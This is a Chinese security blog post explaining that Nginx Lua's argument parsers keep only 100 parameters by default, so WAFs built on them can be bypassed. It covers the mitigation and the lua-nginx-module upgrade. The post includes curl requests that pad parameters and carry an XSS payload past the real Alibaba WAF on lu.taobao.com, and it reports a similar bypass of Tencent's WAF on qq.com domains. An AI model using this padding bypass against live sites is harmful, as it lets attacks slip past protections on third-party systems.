2018年4月3日@bre4k在群里发了一个trick。

Nginx Lua获取参数时，默认获取前100个参数值，其余的将被丢弃。

所以，用了Nginx Lua的WAF默认都会被Bypass。

2018年4月20日，安全客上已经有人公开了这个细节，那这篇文章也就公开了。

官方描述如下:https://github.com/openresty/lua-nginx-module#ngxreqget_uri_args

Note that a maximum of 100 request arguments are parsed by default (including those with the same name) and that additional request arguments are silently discarded to guard against potential denial of service attacks.

默认情况下最多可解析100个请求参数（包括具有相同名称的请求参数），并且会自动丢弃其他请求参数以防止潜在的拒绝服务攻击。

搜索100，大致有下面这些方法存在同样的问题。

• ngx.req.get_uri_args 获取get的请求参数

• ngx.req.get_post_args 获取post的请求参数

• ngx.req.get_headers 获取request头

• ngx.decode_args 对参数进行URL解码

• ngx.resp.get_headers 获取response头

在lua-nginx-module [https://github.com/openresty/lua-nginx-module/blob/master/src/ngx_http_lua_common.h] 里，我们可以看到源代码设置了默认的最多请求参数和头都为100。

#ifndef NGX_HTTP_LUA_MAX_ARGS
#define NGX_HTTP_LUA_MAX_ARGS 100
#endif


#ifndef NGX_HTTP_LUA_MAX_HEADERS
#define NGX_HTTP_LUA_MAX_HEADERS 100
#endif

不过官方提供了方法，可修改该默认值，比如ngx.req.get_uri_args(200)就能获取前200个请求参数。

location = /test {
    content_by_lua_block {
        local args = ngx.req.get_uri_args()
        for key, val in pairs(args) do
            if type(val) == "table" then
                ngx.say(key, ": ", table.concat(val, ", "))
            else
                ngx.say(key, ": ", val)
                if val ==  'joychou' then
                    ngx.say("I got u,joychou")
                    return
                end
            end
        end
    }
}

当请求参数为101个时，此时获取不到最后一个请求参数。

curl -v 'http://test.joychou.org/test?a1=1&a2=2&a3=3&a4=4&a5=5&a6=6&a7=7&a8=8&a9=9&a10=10&a11=11&a12=12&a13=13&a14=14&a15=15&a16=16&a17=17&a18=18&a19=19&a20=20&a21=21&a22=22&a23=23&a24=24&a25=25&a26=26&a27=27&a28=28&a29=29&a30=30&a31=31&a32=32&a33=33&a34=34&a35=35&a36=36&a37=37&a38=38&a39=39&a40=40&a41=41&a42=42&a43=43&a44=44&a45=45&a46=46&a47=47&a48=48&a49=49&a50=50&a51=51&a52=52&a53=53&a54=54&a55=55&a56=56&a57=57&a58=58&a59=59&a60=60&a61=61&a62=62&a63=63&a64=64&a65=65&a66=66&a67=67&a68=68&a69=69&a70=70&a71=71&a72=72&a73=73&a74=74&a75=75&a76=76&a77=77&a78=78&a79=79&a80=80&a81=81&a82=82&a83=83&a84=84&a85=85&a86=86&a87=87&a88=88&a89=89&a90=90&a91=91&a92=92&a93=93&a94=94&a95=95&a96=96&a97=97&a98=98&a99=99&a100=100&a=joychou'

减少一个请求参数，当请求参数刚好为100个时，能获取到最后一个请求参数。

a77: 77
a9: 9
a43: 43
a24: 24
a52: 52
a61: 61
a35: 35
a70: 70
a78: 78
a42: 42
a53: 53
a49: 49
a87: 87
a60: 60
a58: 58
a96: 96
a14: 14
a27: 27
a15: 15
a85: 85
a36: 36
a26: 26
a41: 41
a94: 94
a37: 37
a50: 50
a63: 63
a48: 48
a72: 72
a12: 12
a29: 29
a59: 59
a38: 38
a62: 62
a: joychou
I got u, joychou

说明，默认确实是100个请求参数，并且100个请求参数以后的请求参数将会被丢弃。

有一个奇怪的地方，在上面的返回内容中，在大概中间的位置，就已经输出了最后的joychou参数。我的猜测是输出并不是按照顺序，但是解析的顺序确实按照参数提交的顺序，因为当第101个参数value是joychou时，不能获取到该值。

附上生成参数的python脚本：

# author: JoyChou
# mail: [email protected]
# date: 2018-04-03

a = ''
for i in range(200):
    a = a + 'a{0}={1}&'.format(i+1, i+1)
print a

当然，不建议在源码修改参数的MAX值。因为你设置再大的值都能被绕过。建议通过方法的参数去设置。

如果能获取到请求参数的长度，再利用类似ngx.req.get_uri_args(lenth)方式，不是就可以了吗？

阅读文档发现，其实并不能获取到请求参数的个数。但是如果设置lenth为0的话，就能获取所有请求参数。

This argument can be set to zero to remove the limit and to process all request arguments received.

local args = ngx.req.get_uri_args(0)

不过官方强烈不建议设置为0的方式，防止潜在的拒绝服务攻击。

Removing the max_args cap is strongly discouraged.

其实，我在想为什么设置0，就会有潜在的拒绝服务攻击，请求反正都会到nginx，无论外面get或者post的参数再多。

我给官方提了一个Issue [https://github.com/openresty/lua-nginx-module/issues/1294]， 作者说，ngx.req.get_uri_args(0)会增加服务端CPU和内存的使用。后来，我测试200个参数，利用Nginx+php，获取第200个参数，能获取到，说明Nginx默认不会对请求参数个数进行限制。那么可能存在问题的地方就在于Nginx Lua本身，当Nginx Lua利用ngx.req.get_uri_args(0)获取所有参数，并且进行循环遍历，一旦请求参数非常多，就会消耗更多的CPU和内存，最后甚至导致拒绝服务。

2018年04年03日，Bypass007在官方提了一个关于这个漏洞修复的ISSUE [https://github.com/openresty/openresty/issues/358]，最后官方在2018年04月21日，根据这个ISSUE新增了一个功能。该功能的commit记录地址：https://github.com/openresty/lua-nginx-module/commit/52af63a5b949d6da2289e2de3fb839e2aba4cbfd

功能描述为：在v0.10.13后的版本(包括v0.10.13)，当限制的请求数被突破后，第二个返回值是truncated字符串。

Since v0.10.13, when the limit is exceeded, it will return a second value which is the string "truncated".However, the optional max_args function argument can be used to override this limit:

 local args, err = ngx.req.get_uri_args(10)
 if err == "truncated" then
     -- one can choose to ignore or reject the current request here
 end

所以，最终的修复方法出来了。

• 升级lua-nginx-module版本到v0.10.13或以上

• 再限制参数总数，至于总数限制为多少，我个人觉得100个已经足够了

没有找到相关OpenResty升级模块的资料，自己鼓捣了下OpenResty如何升级lua-nginx-module模块。

步骤如下：

下载lua-nginx-module模块对应版本
wget https://github.com/openresty/lua-nginx-module/releases/tag/v0.10.13

解压
tar -zxvf v0.10.13

删除之前的lua-nginx-module版本
rm -rf openresty-1.9.15.1/bundle/ngx_lua-0.10.5

复制新的lua-nginx-module
mv lua-nginx-module-0.10.13 openresty-1.9.15.1/bundle/ngx_lua-0.10.13

编译，参数参考VeryNginx的编译参数
./configure --prefix=/opt/verynginx/openresty --user=nginx --group=nginx --with-http_v2_module --with-http_sub_module --with-http_stub_status_module --with-luajit

make

需要申明的是，下面几种WAF我不确定是否用的Nginx Lua，只是可以用参数总数的方式进行绕过而已。

此WAF是阿里内部使用的WAF，即*.taobao.com等域名使用的WAF，并未测试阿里云对外售卖的云WAF。

先请求一个POST的XSS Payload，拦截。

curl -v -d 'a=<img src=x onerror=alert(/xss/)>' lu.taobao.com

通过Fuzz发现，当增加参数的个数到478后，带着XSS Payload，不再进行拦截，并且网站能正常访问。

curl -v -d 'a1=1&a2=2&a3=3&a4=4&a5=5&a6=6&a7=7&a8=8&a9=9&a10=10&a11=11&a12=12&a13=13&a14=14&a15=15&a16=16&a17=17&a18=18&a19=19&a20=20&a21=21&a22=22&a23=23&a24=24&a25=25&a26=26&a27=27&a28=28&a29=29&a30=30&a31=31&a32=32&a33=33&a34=34&a35=35&a36=36&a37=37&a38=38&a39=39&a40=40&a41=41&a42=42&a43=43&a44=44&a45=45&a46=46&a47=47&a48=48&a49=49&a50=50&a51=51&a52=52&a53=53&a54=54&a55=55&a56=56&a57=57&a58=58&a59=59&a60=60&a61=61&a62=62&a63=63&a64=64&a65=65&a66=66&a67=67&a68=68&a69=69&a70=70&a71=71&a72=72&a73=73&a74=74&a75=75&a76=76&a77=77&a78=78&a79=79&a80=80&a81=81&a82=82&a83=83&a84=84&a85=85&a86=86&a87=87&a88=88&a89=89&a90=90&a91=91&a92=92&a93=93&a94=94&a95=95&a96=96&a97=97&a98=98&a99=99&a100=100&a101=101&a102=102&a103=103&a104=104&a105=105&a106=106&a107=107&a108=108&a109=109&a110=110&a111=111&a112=112&a113=113&a114=114&a115=115&a116=116&a117=117&a118=118&a119=119&a120=120&a121=121&a122=122&a123=123&a124=124&a125=125&a126=126&a127=127&a128=128&a129=129&a130=130&a131=131&a132=132&a133=133&a134=134&a135=135&a136=136&a137=137&a138=138&a139=139&a140=140&a141=141&a142=142&a143=143&a144=144&a145=145&a146=146&a147=147&a148=148&a149=149&a150=150&a151=151&a152=152&a153=153&a154=154&a155=155&a156=156&a157=157&a158=158&a159=159&a160=160&a161=161&a162=162&a163=163&a164=164&a165=165&a166=166&a167=167&a168=168&a169=169&a170=170&a171=171&a172=172&a173=173&a174=174&a175=175&a176=176&a177=177&a178=178&a179=179&a180=180&a181=181&a182=182&a183=183&a184=184&a185=185&a186=186&a187=187&a188=188&a189=189&a190=190&a191=191&a192=192&a193=193&a194=194&a195=195&a196=196&a197=197&a198=198&a199=199&a200=200&a201=201&a202=202&a203=203&a204=204&a205=205&a206=206&a207=207&a208=208&a209=209&a210=210&a211=211&a212=212&a213=213&a214=214&a215=215&a216=216&a217=217&a218=218&a219=219&a220=220&a221=221&a222=222&a223=223&a224=224&a225=225&a226=226&a227=227&a228=228&a229=229&a230=230&a231=231&a232=232&a233=233&a234=234&a235=235&a236=236&a237=237&a238=238&a239=239&a240=240&a241=241&a242=242&a243=243&a244=244&a245=245&a246=246&a247=247&a248=248&a249=249&a250=250&a251=251&a252=252&a253=253&a254=254&a255=255&a256=256&a257=257&a258=258&a259=259&a260=260&a261=261&a262=262&a263=263&a264=264&a265=265&a266=266&a267=267&a268=268&a269=269&a270=270&a271=271&a272=272&a273=273&a274=274&a275=275&a276=276&a277=277&a278=278&a279=279&a280=280&a281=281&a282=282&a283=283&a284=284&a285=285&a286=286&a287=287&a288=288&a289=289&a290=290&a291=291&a292=292&a293=293&a294=294&a295=295&a296=296&a297=297&a298=298&a299=299&a300=300&a301=301&a302=302&a303=303&a304=304&a305=305&a306=306&a307=307&a308=308&a309=309&a310=310&a311=311&a312=312&a313=313&a314=314&a315=315&a316=316&a317=317&a318=318&a319=319&a320=320&a321=321&a322=322&a323=323&a324=324&a325=325&a326=326&a327=327&a328=328&a329=329&a330=330&a331=331&a332=332&a333=333&a334=334&a335=335&a336=336&a337=337&a338=338&a339=339&a340=340&a341=341&a342=342&a343=343&a344=344&a345=345&a346=346&a347=347&a348=348&a349=349&a350=350&a351=351&a352=352&a353=353&a354=354&a355=355&a356=356&a357=357&a358=358&a359=359&a360=360&a361=361&a362=362&a363=363&a364=364&a365=365&a366=366&a367=367&a368=368&a369=369&a370=370&a371=371&a372=372&a373=373&a374=374&a375=375&a376=376&a377=377&a378=378&a379=379&a380=380&a381=381&a382=382&a383=383&a384=384&a385=385&a386=386&a387=387&a388=388&a389=389&a390=390&a391=391&a392=392&a393=393&a394=394&a395=395&a396=396&a397=397&a398=398&a399=399&a400=400&a401=401&a402=402&a403=403&a404=404&a405=405&a406=406&a407=407&a408=408&a409=409&a410=410&a411=411&a412=412&a413=413&a414=414&a415=415&a416=416&a417=417&a418=418&a419=419&a420=420&a421=421&a422=422&a423=423&a424=424&a425=425&a426=426&a427=427&a428=428&a429=429&a430=430&a431=431&a432=432&a433=433&a434=434&a435=435&a436=436&a437=437&a438=438&a439=439&a440=440&a441=441&a442=442&a443=443&a444=444&a445=445&a446=446&a447=447&a448=448&a449=449&a450=450&a451=451&a452=452&a453=453&a454=454&a455=455&a456=456&a457=457&a458=458&a459=459&a460=460&a461=461&a462=462&a463=463&a464=464&a465=465&a466=466&a467=467&a468=468&a469=469&a470=470&a471=471&a472=472&a473=473&a474=474&a475=475&a476=476&a477=477&a=<img src=x onerror=alert(/xss/)>' lu.taobao.com

此WAF是腾讯内部使用的WAF，即*.qq.com等域名使用的WAF，并未测试腾讯云对外售卖的云WAF。

当请求参数增加到4000，不会再进行拦截，并且网站能正常访问。随便测试以下域名都受影响。

web.qq.com 
ke.qq.com 
auto.qq.com 
news.qq.com 
sports.qq.com 
time.qq.com 

这个问题很简单，认真读文档都能发现这个问题。但是自己为什么没发现呢？我觉得还是是思考太少。

• https://github.com/p0pr0ck5/lua-resty-waf/issues/280

• https://github.com/openresty/lua-nginx-module#ngxreqget_uri_args

• https://github.com/openresty/openresty/issues/358

• https://github.com/openresty/lua-nginx-module/commit/52af63a5b949d6da2289e2de3fb839e2aba4cbfd